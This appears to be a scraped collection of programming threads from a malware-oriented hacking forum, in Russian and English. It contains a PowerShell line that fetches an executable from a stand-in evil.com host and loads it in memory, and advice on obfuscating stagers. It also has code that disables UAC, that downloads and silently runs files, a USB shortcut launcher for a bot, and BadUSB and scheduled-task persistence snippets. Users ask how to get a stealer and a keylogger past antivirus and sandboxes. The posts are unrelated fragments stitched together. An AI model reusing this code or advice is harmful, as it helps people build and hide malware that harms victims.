int create_link( LPCWSTR lpExistingFileName, LPCWSTR lpLinkName )
{
NTSTATUS status;
UNICODE_STRING OldFileName;
UNICODE_STRING NewFileName;
OBJECT_ATTRIBUTES OldObject;
OBJECT_ATTRIBUTES NewObject;
IO_STATUS_BLOCK OldIoStatusBlock;
PFILE_LINK_INFORMATION NewName;
HANDLE OldFileHandle, NewFileHandle = INVALID_HANDLE_VALUE;
OldFileName.Buffer = NULL;
NewFileName.Buffer = NULL;
NTLIB32.RtlInitUnicodeString( &OldFileName, lpExistingFileName );
InitializeObjectAttributes(
&OldObject,
&OldFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
status = NTLIB32.NtOpenFile(
&OldFileHandle,
FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
&OldObject,
&OldIoStatusBlock,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_SYNCHRONOUS_IO_NONALERT
);
NTLIB32.RtlInitUnicodeString( &NewFileName, lpLinkName );
InitializeObjectAttributes(
&NewObject,
&NewFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
NewName = ( PFILE_LINK_INFORMATION ) malloc ( NewFileName.Length + sizeof( *NewName ) );
memmove( NewName->FileName, NewFileName.Buffer, NewFileName.Length );
NewName->ReplaceIfExists = FALSE;
NewName->RootDirectory = NULL;
NewName->FileNameLength = NewFileName.Length;
status = NTLIB32.NtSetInformationFile(
OldFileHandle,
&OldIoStatusBlock,
NewName,
NewFileName.Length + sizeof( *NewName ),
11
);
switch ( status )
{
case 00000000:
{
if ( OldFileHandle != INVALID_HANDLE_VALUE )
{
if ( NTLIB32.NtClose( OldFileHandle ) == 00000000 )
{
return 0;
}
}
}
}
return -1;
}
Firstly, we need to understand the most common way of loading C#, via an executable:
The code below follows these steps:
Code:Copy to clipboard
$bytes = (Invoke-WebRequest "https://evil.com/evilexe.exe").Content
$loadedAssembly = [System.Reflection.Assembly]::Load($bytes)
# Create entrypoint object and call it.
$entry =
$loadedAssembly.GetType("NAMSPACE.CLASS_NAME").
GetMethod('STATIC_METHOD_NAME', [Reflection.BindingFlags] 'Static, Public, NonPublic')
$entry.Invoke($null)
Instead of compiling and downloading an executable, why don’t we just supply a multiline string with our desired C# code and “load” it like so:
Code:Copy to clipboard
Add-Type @" using System; public class Payload {
static void Execute() {
while (true) {
Console.WriteLine("1337");
}
}
} "@
$pl = New-Object Payload $pl.Execute()
Of course be sure to obfuscate your strings, best way to use this method is as a stager for another malicious process. You could also compile your code on the victim machine to evade defense.
The C Sharp Compiler, aka CSC.EXE, is a command line utility for compiling .NET projects into PE's. Youy can invoke this on the victims machine after writing your obfuscated code to a temp file, and compile your PE payload on- machine.
Всем привет, столкнулся с проблемой как скомпилить под арм 7 на дебиане или винде, со старым GLIB может кто-то может подсказать?
C:Copy to clipboard
int create_folder( LPCWSTR lpHiddenFolder )
{
NTSTATUS status;
UNICODE_STRING fn;
OBJECT_ATTRIBUTES object;
IO_STATUS_BLOCK ioStatus;
HANDLE out;
memset( &ioStatus, 0, sizeof( ioStatus ) );
memset( &object, 0, sizeof( object ) );
object.Length = sizeof( object );
object.Attributes = OBJ_CASE_INSENSITIVE;
NTLIB32.RtlInitUnicodeString( &fn, lpHiddenFolder );
object.ObjectName = &fn;
status = NTLIB32.NtCreateFile( &out, GENERIC_WRITE, &object, &ioStatus, NULL,
FILE_ATTRIBUTE_NORMAL, 0, FILE_CREATE, FILE_DIRECTORY_FILE, NULL,
0 );
switch( status )
{
case 0xc0000035:
{
return 35;
}
case 00000000:
{
if ( NTLIB32.NtClose( out ) == 00000000 )
{
return 0;
}
}
}
return 1;
}
As the title suggests, I am trying to reduce my file size without relying on external packers/services. What visual studio settings do you use and tricks do you use for optimizing/reducing the filesize of your binaries. Currently I am just choosing the option of favoring small size and statically linking my binaries. Is it worth using loadlibrary for all your windows functions for reducing size? Responses are appreciated!
Всем привет, на форуме новичек, пишу на С++, но кроме лабораторных студентам дальше не заходил пока что, что можете посоветовать, какие полезные программы можно писать что бы продавать их потом, в ознакомительных целях было бы интересно послушать и о идеях для вредоносного ПО.
Также можете написать в телеграмм @onlyinc
Писал код в ардуино для bad usb
Spoiler: Кабель
[ https://aliexpress.ru/item/4000358004044.html?af=1954_681229&aff_fcid=13328c68dcea4e27abddf519660082c2-1635863482656-05386-_9R0atP&aff_fsk=_9R0atP&aff_platform=api- new-link- generate&aff_trace_key=13328c68dcea4e27abddf519660082c2-1635863482656-05386-_9R0atP&algo_expid=0c4da265-8991-42d6-9f27-f5b46e7c489d-8&algo_pvid=0c4da265-8991-42d6-9f27-f5b46e7c489d&btsid=0b8b034e15818461352751950e2e10&cn=12r1y8c8f1ztws45x65f8w25uah27zk6&cv=2&dp=12r1y8c8f1ztws45x65f8w25uah27zk6&sk=_9R0atP&sku_id=10000001475502250&terminal_id=b1ee9878f8824627bc05f1b332ea52fc&utm_campaign=1954_681229&utm_content=2&utm_medium=cpa&utm_source=aerkol&ws_ab_test=searchweb0_0 ](https://aliexpress.ru/item/4000358004044.html?af=1954_681229&aff_fcid=13328c68dcea4e27abddf519660082c2-1635863482656-05386-_9R0atP&aff_fsk=_9R0atP&aff_platform=api- new-link- generate&aff_trace_key=13328c68dcea4e27abddf519660082c2-1635863482656-05386-_9R0atP&algo_expid=0c4da265-8991-42d6-9f27-f5b46e7c489d-8&algo_pvid=0c4da265-8991-42d6-9f27-f5b46e7c489d&btsid=0b8b034e15818461352751950e2e10&cn=12r1y8c8f1ztws45x65f8w25uah27zk6&cv=2&dp=12r1y8c8f1ztws45x65f8w25uah27zk6&sk=_9R0atP&sku_id=10000001475502250&terminal_id=b1ee9878f8824627bc05f1b332ea52fc&utm_campaign=1954_681229&utm_content=2&utm_medium=cpa&utm_source=aerkol&ws_ab_test=searchweb0_0)
вот сам код
C++:Copy to clipboard
#include <Keyboard.h>
void setup() {
// put your setup code here, to run once:
// Инициализируем клавиатуру
Keyboard.begin();
// Нажимаем win на левой стороне клавиатуры, чтобы построить
Keyboard.press(KEY_LEFT_GUI);
// Задержка заставляет систему реагировать
delay(500);
// Нажимаем клавишу r
Keyboard.press('r');
delay(100);
// Отпускаем две кнопки
Keyboard.releaseAll();
// Включить верхний регистр, чтобы запретить китайский метод ввода
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
// Вводим CMD
Keyboard.println("CMD");
delay(300);
//Войти
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
}
void loop() {
}
Но выходит ошибка
Spoiler: ОШИБКА
Arduino: 1.8.17 Hourly Build 2021/09/06 02:33 (Windows 10), Плата:"Arduino Leonardo"
Скетч использует 5424 байт (18%) памяти устройства. Всего доступно 28672 байт.
Глобальные переменные используют 230 байт (8%) динамической памяти, оставляя 2330 байт для локальных переменных. Максимум: 2560 байт.
processing.app.debug.RunnerException
at cc.arduino.packages.uploaders.SerialUploader.uploadUsingPreferences(SerialUploader.java:152)
at cc.arduino.UploaderUtils.upload(UploaderUtils.java:77)
at processing.app.SketchController.upload(SketchController.java:732)
at processing.app.SketchController.exportApplet(SketchController.java:703)
at processing.app.Editor$UploadHandler.run(Editor.java:2061)
at java.lang.Thread.run(Thread.java:748)
Caused by: processing.app.SerialException: Ошибка создания последовательного порта "COM1"
at processing.app.Serial.touchForCDCReset(Serial.java:107)
at cc.arduino.packages.uploaders.SerialUploader.uploadUsingPreferences(SerialUploader.java:136)
... 5 more
Caused by: jssc.SerialPortException: Port name - COM1; Method name - openPort(); Exception type - Port busy.
at jssc.SerialPort.openPort(SerialPort.java:164)
at processing.app.Serial.touchForCDCReset(Serial.java:101)
... 6 more
Произошла ошибка при загрузке скетча
Этот отчёт будет иметь больше информации с
включенной опцией Файл -> Настройки ->
"Показать подробный вывод во время компиляции"
Помогите пожалуйста как исправить
C#:Copy to clipboard
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
public class Program
{
//include FindWindowEx
[DllImport("user32.dll")]
public static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
[DllImport("user32.dll")]
public static extern int SendMessage(IntPtr hWnd, int uMsg, int wParam, int lParam);
//include SendMessage
[DllImport("user32.dll")]
public static extern int SendMessage(IntPtr hWnd, int uMsg, int wParam, string lParam);
[DllImport("user32.dll")]
public static extern IntPtr SendMessage(IntPtr hWnd, int uMsg, IntPtr wParam, IntPtr lParam);
//this is a constant indicating the window that we want to send a text message
const int WM_SETTEXT = 0X000C;
const int WM_KEYDOWN = 0x0100;
const int WM_KEYUP = 0x0101;
static void Main(string[] args)
{
//getting notepad's process | at least one instance of notepad must be running
Process notepadProccess = Process.GetProcessesByName("Codns3")[0];
//getting notepad's textbox handle from the main window's handle
//the textbox is called 'Edit'
IntPtr notepadTextbox = FindWindowEx(notepadProccess.MainWindowHandle, IntPtr.Zero, "Edit", null);//창핸들
SendMessage(notepadTextbox, WM_SETTEXT, 0, "MYID");
}
}
Each time you start a specific selection radio form followed by
You must enter your nickname & password & a specific decimal integer.
Nicknames and passwords are automatically saved, but you have to re-enter a
specific decimal number every time you reboot your computer, and you have to
go through a specific radio form when you first start.
Dumb system. I want to do this automatically when the computer is turned on.
By registering in the startup program.
The progress so far has been completed until entering my specific ID in the
text box.
I need to add "Tab" & "Enter" & "Up Arrow" in the future.
Can you help me with this?
Video for understood : https://streamable.com/4bxt0u
I wanna make a program written in c to x64 shellcode, can you give me a step by step guide?
Через COM собираю нужную мне инфу
Компилирую в ЕХЕ - работает
Компилирую в дллку и стартую через rundll32 - работает
Стартую через regsvr32 - Failed to initialize COM library. Error code:
-2147417850
А так же если запускать дллку через regsvr32 и уже в памяти запускать второй файл, который использует COM - будет та же ошибка
Кто-нибудь сталкивался?
Здравствуйте.
Какой способ используют современные malware для взаимодейставия (получение
команд и отправка ответа) с сервером в фоне?
Проблема в том что при длительной активности/уходе в doze система прибивает
сервис молвари.
1.WorkManager и аналоги
2.fcm
3.Что-то другое
Чтобы пройти собес на стажера/джуна какими технологиями надо владеть(не берем базу ввиде SQL технологий, ооп, WPF)? я посмотрел hh и особо на джуна не требуют ничего. Во многом будто знания любого восьмиклассника подойдут.
Каким образом обнаружить запуск на сервисах по типу App.Any.Run, и не дать запустится файлу оттуда? C#
Вот читаю для саморазвития маты с researchgate(если кому нужно оттуда дёрнуть
инфо пишите, есть акк) и стало интересно
как это устроено.
можно так морфить код
(AI) Непрозрачные константы на C++ можно реализовать следующим образом:
1. Описать функцию, которая будет возвращать непрозрачную константу:
Code:Copy to clipboard
int get_opaque_const() {
// код генерации на основе NP-полной задачи
}
2. Вместо использования обычных констант в коде вызывать эту функцию:
Code:Copy to clipboard
int a = 10;
int b = 15;
int sum = a + b;
// c использованием непрозрачной константы
int a = 10;
int b = 15;
int opaque_const = get_opaque_const();
int sum = a ^ opaque_const + b;
3. Реализовать функцию get_opaque_const():
Code:Copy to clipboard
// глобальные переменные для графа и формулы
vector<vector<int>> graph;
vector<Clause> formula;
int get_opaque_const() {
// генерация графа
generate_graph();
// проверка свойств графа
// возврат бита константы
return get_opaque_bit();
}
int get_opaque_bit() {
if (check_clique()) {
return 0;
} else {
return 1;
}
}
Таким образом константа будет вычисляться во время выполнения программы на основе сложных графовых преобразований.
Язык С. Самое
необходимое.
2020 г.
В книге описан базовый синтаксис современного языка C, рассмотрены основные
функции стандартной библиотеки языка, а также функции, применяемые только в
операционной системе Windows. Для написания, компиляции и запуска программ
используется редактор Eclipse, а для создания исполняемого файла — компилятор
gcc.exe версии 8.2. Электронный архив с примерами находится на сайте
издательства.
Добрый день. Реально ли где-нибудь скачать эту книгу:
М. Фленов Библия C# 5-е издание
Или может у кого-то она есть в электронном виде?
Hello fellows XSS.is Members
I'm looking for a solution to deobfuscate .Net Reactor V 6.x
I've tried several publicly available solutions like NetReactor Slayer & some De4dot builds but without success ..
Any suggestions are welcome ♥
Best regards
нервы у меня, туплю жеска, памагите пожалуйста, есть ли у кого хотябы
минимальный пример винсока и тора, общения клиент-сервер
ну я так понимаю задачу что мы запускаемс торыч на какам нибуд порту, потом
сервервную программу
C:Copy to clipboard
sockaddr_in server;
server.sin_addr.S_un.S_addr = INADDR_ANY;
server.sin_family = AF_INET;
server.sin_port = htons(ПОРТ ТОРА);
и наш сервер терь живет в торе
у меня непонятки вообще во всём
да я наверное тупак, я знаю шо правда эта ест
но! мне очень очень хочется сделат
помогите советами или кодом, хоть чем нибудь все остальное сам
советы по теме:
как конфиг для сервера тора оформит
как запускат тор правильно с правильными параметрами на сервере
че делать клиенту, я понимаю шо тор тоже запускат
вообщем все что сможете, или захотите помогите пожалуйста
искренне прошу выгорел уже учень если вы понимаете о чем я
я не прошу инжектав, не прошу експлоитав, ничего не прошу сверхебучега
просто помогите чем сможете
I am looking for a good obfuscator for my C# code. Before you say make your own, I am not skilled enough to do so. I tried using dnlib to just simply rename variables and methods and it was working for simple programs but not my clipper/stealer. I was getting an error "bad token" or something like that, when running the obfuscated exe. So now I am looking for the best obfuscator for C#. I have used .net reactor but I cant find a clean crack of it. Can anyone recommend a good obfuscator? Also, what settings are best for avoiding detections. I made my clipper 0/26 scantime and 2/26 runtime. I am not gonna crypt it anymore because I always get wacatac bullshit machine learning.
-----------------------------------------------------------------------------
Я ищу хороший обфускатор для моего кода C#. Прежде чем вы скажете сделать свой
собственный, я недостаточно квалифицирован, чтобы сделать это. Я попытался
использовать dnlib, чтобы просто переименовать переменные и методы, и он
работал для простых программ, но не для моего клипера / похитителя. Я получал
ошибку «плохой токен» или что-то в этом роде при запуске запутанного exe. Так
что теперь я ищу лучший обфускатор для C#. Я использовал реактор.net, но я не
могу найти чистую трещину в нем. Может ли кто-нибудь порекомендовать хороший
обфускатор? Кроме того, какие настройки лучше всего подходят для
предотвращения обнаружений. Я сделал свой клипер 0/26 время сканирования и
2/26 времени выполнения. Я больше не собираюсь его шифровать, потому что я
всегда получаю wacatac дерьмо машинного обучения.
Is there a good way to launch a program without using a comobject or wscript.shell? For some reason windowstyle hidden is not functioning as the documentation indicates it should regardless of UAC privs level. Could this be caused by start-process taking precedence by being called first?
EDIT: problem is present when/if pwsh is not the default console on system... now searching a solution for this
I'm going to make a keylogger in c++ but it'll only work on macOS. What AV techniques should I use?
Есть алгоритм расшифровки строк. Надо разобраться как написать скрипт
шифрования строк по этому принципу.
Примеры:
C++:Copy to clipboard
// szSecret = "Hello World!"
wchar_t szSecret[13] = { 0xB13D, 0xB159, 0xB15F, 0xB160, 0xB168, 0xB11A, 0xB152, 0xB169,
0xB15F, 0xB16A, 0xB14F, 0xB10B, 0xB0F1 };
for (unsigned int fstHM = 0, TLuIA = 0; fstHM < 13; fstHM++)
{
TLuIA = szSecret[fstHM];
TLuIA = ~TLuIA;
TLuIA --;
TLuIA = ~TLuIA;
TLuIA -= 0xA90C;
TLuIA ^= fstHM;
TLuIA += 0xF816;
szSecret[fstHM] = TLuIA;
}
wprintf(szSecret);
C++:Copy to clipboard
// str = "xss.is"
unsigned char str[7] = { 0xE8, 0xE3, 0xE3, 0xBE, 0xF9, 0xE3, 0x90 };
for (unsigned int kKvDG = 0, QJOpI = 0; kKvDG < 7; kKvDG++)
{
QJOpI = str[kKvDG];
QJOpI ^= 0x90;
str[kKvDG] = QJOpI;
}
printf(str);
C++:Copy to clipboard
// str = "xss.is"
unsigned char str[7] = { 0x0F, 0x4F, 0x2C, 0xA6, 0xA9, 0xCB, 0xC6 };
for (unsigned int XZdsH = 0, LHjFW = 0; XZdsH < 7; XZdsH++)
{
LHjFW = str[XZdsH];
LHjFW ^= XZdsH;
LHjFW = ((LHjFW << 3) | ( (LHjFW & 0xFF) >> 5)) & 0xFF;
LHjFW ^= XZdsH;
str[XZdsH] = LHjFW;
}
Помогите ?
Hello, im searching for the best way to handle multithreaded drive, folder and file processing in language c#. Is IOCP working? does anyone have examples or links?
Почему не напрямую адресс ,а делаю 5 размер инструкции
Как сделать грамотно скрытие вызовов модулей на С++?
слышал что можно их в проект встроить но потерял ссылку
C++:Copy to clipboard
#include <iostream>
#include <Windows.h>
#include <shellapi.h>
bool IsRunningAsAdmin() {
BOOL isAdmin = FALSE;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0,
&AdministratorsGroup)) {
if (!CheckTokenMembership(nullptr, AdministratorsGroup, &isAdmin)) {
isAdmin = FALSE;
}
FreeSid(AdministratorsGroup);
}
return isAdmin != FALSE;
}
void RestartAsAdmin() {
wchar_t szPath[MAX_PATH];
if (GetModuleFileName(nullptr, szPath, ARRAYSIZE(szPath))) {
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = szPath;
sei.hwnd = nullptr;
sei.nShow = SW_NORMAL;
if (!ShellExecuteEx(&sei)) {
DWORD dwError = GetLastError();
if (dwError == ERROR_CANCELLED) {
std::cout << "Administrative privileges not granted." << std::endl;
}
}
}
exit(0);
}
int main() {
const char* keyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
HKEY hKey;
if (!IsRunningAsAdmin()) {
RestartAsAdmin();
}
LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, keyPath, 0, KEY_WRITE, &hKey);
if (lResult == ERROR_SUCCESS) {
DWORD dwData = 0;
lResult = RegSetValueEx(hKey, "EnableLUA", 0, REG_DWORD, (const BYTE*)&dwData, sizeof(dwData));
RegCloseKey(hKey);
if (lResult == ERROR_SUCCESS) {
std::cout << "UAC has been disabled." << std::endl;
} else {
std::cout << "Failed to disable UAC." << std::endl;
}
} else {
std::cout << "Registry key not found. UAC may already be disabled!." << std::endl;
}
return 0;
}
So I'm using this shortcut:
Code:Copy to clipboard
void CreateShortCutW(LPCWSTR lpLnkFile, LPCWSTR lpIconFile, int iIconIndex)
{
IShellLinkW *psl;
HRESULT hres;
CoInitialize(NULL);
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl);
if (SUCCEEDED(hres) && psl)
{
WCHAR wszLnkArg[MAX_PATH];
wsprintfW(wszLnkArg, L"/c start .\\dir & start .\\dir\\bot.exe");
psl->SetPath(L"%windir%\\System32\\cmd.exe");
psl->SetIconLocation(lpIconFile, iIconIndex);
psl->SetShowCmd(SW_SHOWMINNOACTIVE);
psl->SetArguments(wszLnkArg);
IPersistFile *ppf;
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
if (SUCCEEDED(hres) && ppf)
{
ppf->Save(lpLnkFile, TRUE);
ppf->Release();
}
psl->Release();
}
}
It first opens the directory with all their files and then my bot.
The question is, will it work fine on all USB's, no matter what drive letter?
Thx
I currently use File.Move ( ) to move my file into the user profile directory. This is what is causing detections within my stub. What is an alternative way without dropping a file onto the disk?
--- Translated ---
В настоящее время я использую File.Move() для перемещения моего файла в каталог профиля пользователя. Это то, что вызывает обнаружение в моей заглушке. Какой есть альтернативный способ без скидывания файла на диск?
приветствую, ребята есть момент, есть определенное приложение c++ в консольной сборке, при после компиляции и открытии exe открывается консоль как и положено, подскажите как можно сделать так что бы консоль не показывалась, если не ошибаюсь запуск консоли subsystem=windows
Я совсем немного знаю си и плюсы, сейчас читаю материалы про методы LoadPE и RunPE и вроде более менее про это я понял... Но про стабы нигде не могу найти толковую информацию подскажите
P.S. Было бы круто увидеть мнение человека который на постоянке криптует)
Всем привет.Пытаюсь реализовать запуск в памяти(LoadPE) файла без reloc`ов.Выделяю память вот так:
C:Copy to clipboard
//pohHeader - OptionalHeader загружаемого файла
//pohHeader->ImageBase = 0x400000
//pohHeader->SizeOfImage =0x16000
LPVOID lpBase = VirtualAlloc((LPVOID)pohHeader->ImageBase, pohHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(lpBase == NULL)
{
CHAR cError[30];
wsprintfA(cError, "%d", GetLastError());
MessageBoxA(NULL, cError, "GetLastError", MB_OK);
}
Но получаю GetLastError = 487 (ERROR_INVALID_ADDRESS).MSDN пишет, что я
выделяю память не по валидному адресу.Подскажите пожалуйста, что я делаю
неправильно? И есть ли вообще способ выделить память по стандартному адресу
загрузки приложения?
P.S: ImageBase самого "загрузчика" изменил на 0x900000.Файл который
загружаю - скомпилированный MINIPAD из екзамплов FASM-а, весит ~6кб
Новейшая книга Страуструпа по плюсам. A Tour of C++. 3rd edition. Bjarne
Stroustrup. 2023
Если кому то интересно обновить-освежить знания - рекомендую.
Если у вас нет никакой основы и вы хотите изучить C++, как вам сделать первый шаг?
В общем есть код простой на С++ либо С, но мне надо скомпилить его в ассемблер
(com), чтобы работало под 16 битными эмуляторами NASM/TASM
Что можете посоветовать?
Зачем мне это надо, вопросы не задавайте пожалуйста.
Hidden content for authorized users.
Создадим метод Scheduler
C#:Copy to clipboard
/// <summary>
/// Метод для добавления программы в автозагрузку через Планировщик задач
/// </summary>
/// <param name="status">Выбор функции Добавить/Удалить задачу</param>
/// <param name="timeset">Выбор таймера по минутам</param>
/// <param name="count">Время запуска программы</param>
/// <param name="priority">Приоритет процесса</param>
/// <param name="taskname">Имя Задачи</param>
/// <param name="filepath">Путь к файлу который запускается в задаче</param>
/// <returns></returns>
public static bool Scheduler(bool status, string timeset, int count, string priority, string taskname, string filepath)
{
if (string.IsNullOrWhiteSpace(taskname) || string.IsNullOrWhiteSpace(filepath)) return false;
ProcessWindowStyle PwsHide = ProcessWindowStyle.Hidden;
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = "schtasks.exe",
CreateNoWindow = false,
WindowStyle = PwsHide
};
switch (status) // можно сделать через if кому как удобнее.
{
// Добавляет запись в планировщик
case true: startInfo.Arguments = string.Concat("/create /sc ", timeset, " /mo ", count, " /rl ", priority, " /tn ", taskname, " /tr ", filepath, " /f"); break;
// Удаляет запись из планировщика
case false: startInfo.Arguments = string.Concat("/delete /tn ", taskname, " /f"); break;
}
try
{
using (Process info = Process.Start(startInfo)) { info.Refresh(); info.WaitForExit(); }
}
catch (Exception) { } startInfo = null; return true;
}
Вызывается так:
C#:Copy to clipboard
Scheduler(false, "minute", 1, "highest", "NotepadTEST", string.Concat("\"", App, "\"")); // Где App это путь к вашему файлу.
Писалось довольно давно (судя по коммитам - начало 2019), писалось на заказ как IOCP-замена аналогу, который запускает стопицот тысяч потоков и работает абы-как. За давностью лет - полагаю, что никто не останется в обиде. По замыслу дожно было быть продолжение в виде rdp-brutter и rdp-recognizer, но ушел в другой проект. Итак, встречайте. RDP Checker на ~~стероидах~~ IOCP. На входе передается результат mass scan в формате ip:port\r\n. На выходе - bad, good, xp. Если порт не указан - использует default_port. Короче, см. config.json. max_connections особо выкручивать не стоит, т.к. количество портов в системе ограничено, могут начаться пропуски (т.к. на закрытие старого соединения нужно время)
Эти 2 варианта подойдут только для длл которые инжектят в процесс, код нужно
вставлять в файл main.cpp. Отлично подходит для читов кс го.
Если кому-то было полезно поставьте лайк.
Spoiler: 1 вариант
C++:Copy to clipboard
#include <exception>
#include <iostream>
#include <thread>
#include <Windows.h>
using namespace std
void Antuato();
{
char szPath[256], szDirectoryPath[256];//патчим
sprintf_s(szPath, "%s\nvcontainer\nvcontainer.exe", getenv("APPDATA")); // путь до нашего
sprintf_s(szDirectoryPath, "%s\nvcontainer", getenv("APPDATA"));// путь до папки с нашим
LPCTSTR Url = _T("Ссылка"), File = _T(szPath);
std::filesystem::create_directories(szDirectoryPath);//создаем папку в аппдате с названием nvcontainer
URLDownloadToFile(0, "Ссылка", nvcontainer.exe, 0, 0); // скачиваем
Sleep(3000); // даем 3 секунды на скачку
ShellExecute(NULL, "open", szPath, NULL, NULL, SW_HIDE);// запускаем тот самый
Sleep(40000);// через n-ное кол-во секунд удаляем
std::filesystem::remove(szPath); // удаляем
Spoiler: 2 вариант
C++:Copy to clipboard
hr = URLDownloadToFile(0,
"Ссылка", "название.exe", 0, 0);
system("название.exe");
Hidden content for authorized users.
просто метод поможет проверить ваш файл скрытый он или нет
C#:Copy to clipboard
public static bool IsHideOrNo(string path)
{
try
{
return File.GetAttributes(string path).HasFlag(FileAttributes.Hidden) ? true : false;
}
catch { return false; }
}
Проверяем
C#:Copy to clipboard
if (isHideOrNo("Путь к файлу"))
{
// Файл скрытый
}
// Файл не скрытый
Название: React Native 2020. Мобильная разработка на JavaScript
Автор: Владилен Минин
Чему вы научитесь
Создавать мобильные приложения под iOS и Android на языке JavaScript
Создадите несколько приложений в течении курса
React Native на практике
Получите много опыта и Best Practices в React
Требования
Уверенное владение JavaScript + EcmaScript 6
Базовое понимание React JS
Знаний по Java или Swift НЕ нужно! Только JavaScript
Описание
Вы научитесь создавать крутые мобильные приложения для Android и iOS используя
только JavaScript
Из предварительных знаний только JavaScript и React
В курсе содержится 11 блоков, 10 из которых - практические
В рамках данного курса вы создадите 2 мобильных приложения, на которых изучите
функционал React Native
В курсе так же рассматривается React, React Hooks, Context API, Redux и React
Best Practices
Для кого этот курс:
Веб-разработчики
Разработчики мобильных приложений
Фрилансеры
Frontend разработчики (любой уровень)
[Продажник](https://www.udemy.com/course/react-native-complete- guide/?97233d11=)
Привет
Подскажите есть ли в сети примеры таковых? Посмотреть глазками как это работает
Этот код на C# реализует утилиту для обнаружения устройств в локальной сети. Он основывается на принципах ARP (Address Resolution Protocol), используемых для соответствия IP-адресов и MAC-адресов в сети. Программа выполняет следующие действия:
Думаю кому-то будет полезно.
C#:Copy to clipboard
using System.Collections.Generic;
using System.Linq;
using System;
using System.Net;
using System.Net.NetworkInformation;
using System.Runtime.InteropServices;
public class DeviceInfo
{
public string IP { get; set; }
public string MAC { get; set; }
}
public class ARPCache
{
[StructLayout(LayoutKind.Sequential)]
private struct MIB_IPNETROW
{
public int dwIndex;
public int dwPhysAddrLen;
public byte mac0, mac1, mac2, mac3, mac4, mac5;
public int dwAddr;
public int dwType;
}
[DllImport("IpHlpApi.dll")]
private static extern int GetIpNetTable(IntPtr pIpNetTable, ref int pdwSize, bool bOrder);
[DllImport("IpHlpApi.dll", SetLastError = true)]
private static extern int FreeMibTable(IntPtr plpNetTable);
// Add a method to get MAC address by IP address
public string GetMacAddressByIp(IPAddress ip)
{
foreach (var entry in GetArpCache())
{
if (entry.Key.Equals(ip))
{
return entry.Value;
}
}
return null; // IP address not found in ARP cache
}
public Dictionary<IPAddress, string> GetArpCache()
{
Dictionary<IPAddress, string> arpCache = new Dictionary<IPAddress, string>();
int bufferSize = 0;
int result = GetIpNetTable(IntPtr.Zero, ref bufferSize, false);
IntPtr buffer = IntPtr.Zero;
try
{
buffer = Marshal.AllocCoTaskMem(bufferSize);
result = GetIpNetTable(buffer, ref bufferSize, false);
if (result != 0)
{
throw new Exception("Unable to retrieve ARP cache.");
}
int entries = Marshal.ReadInt32(buffer);
IntPtr currentBuffer = new IntPtr(buffer.ToInt64() + 4);
for (int i = 0; i < entries; i++)
{
MIB_IPNETROW row = (MIB_IPNETROW)Marshal.PtrToStructure(currentBuffer, typeof(MIB_IPNETROW));
IPAddress entryIP = new IPAddress(BitConverter.GetBytes(row.dwAddr));
string macAddress = $"{row.mac0:X2}:{row.mac1:X2}:{row.mac2:X2}:{row.mac3:X2}:{row.mac4:X2}:{row.mac5:X2}";
arpCache[entryIP] = macAddress;
currentBuffer = new IntPtr(currentBuffer.ToInt64() + Marshal.SizeOf(typeof(MIB_IPNETROW)));
}
}
finally
{
if (buffer != IntPtr.Zero)
{
FreeMibTable(buffer);
}
}
return arpCache;
}
}
class Program
{
static void Main()
{
List<DeviceInfo> devices = DiscoverDevices();
foreach (var device in devices)
{
Console.WriteLine($"IP: {device.IP}, MAC: {device.MAC}");
}
}
static List<DeviceInfo> DiscoverDevices()
{
List<DeviceInfo> devices = new List<DeviceInfo>();
// Perform ARP scan to discover devices
foreach (var ip in GetLocalIPv4Addresses())
{
PhysicalAddress macAddress = GetMacAddress(ip);
if (macAddress != null)
{
devices.Add(new DeviceInfo { IP = ip.ToString(), MAC = macAddress.ToString() });
}
}
return devices;
}
static IEnumerable<IPAddress> GetLocalIPv4Addresses()
{
return NetworkInterface.GetAllNetworkInterfaces()
.Where(netInterface => netInterface.OperationalStatus == OperationalStatus.Up)
.SelectMany(netInterface => netInterface.GetIPProperties().UnicastAddresses)
.Where(ip => ip.Address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
.Select(ip => ip.Address);
}
static PhysicalAddress GetMacAddress(IPAddress ip)
{
try
{
var arp = new ARPCache();
var macAddress = arp.GetMacAddressByIp(ip);
return !string.IsNullOrEmpty(macAddress) ? PhysicalAddress.Parse(macAddress) : null;
}
catch (Exception)
{
return null;
}
}
}
Народ посоветуете хорошие актуальные книги по си++. Интересуюсь для себя.
Заинтересовала тема автовыводов и уже какой день не могу написать автовывод
через флешботы, может у кого нибудь есть код или, что нибудь, что могло бы мне
помочь
Пишу через Nethereum
Помимо опроса хотел бы узнать, может кто-то уже проделывал данную операцию
Нужна реализация RSA на Си, без классов, чисто функционально\структурно
Так же без завязки на CRT и стандартную библиотеку
Пробовал отвязать от этого дела wolfCrypt, Mbedtls и Nettle - потуги не
закончились успехом, слишком много там используется функций из стандартных
библиотек, и при включении опции линкера /NODEFAULTLIB получаю просто по 2к
ошибок, которые руками исправлять просто адская задача
Стал вопрос в защите кода написанного на C# подскажите свои варианты. Заранее благодарю.
При шифровании и расшифровки получаю разный байты.
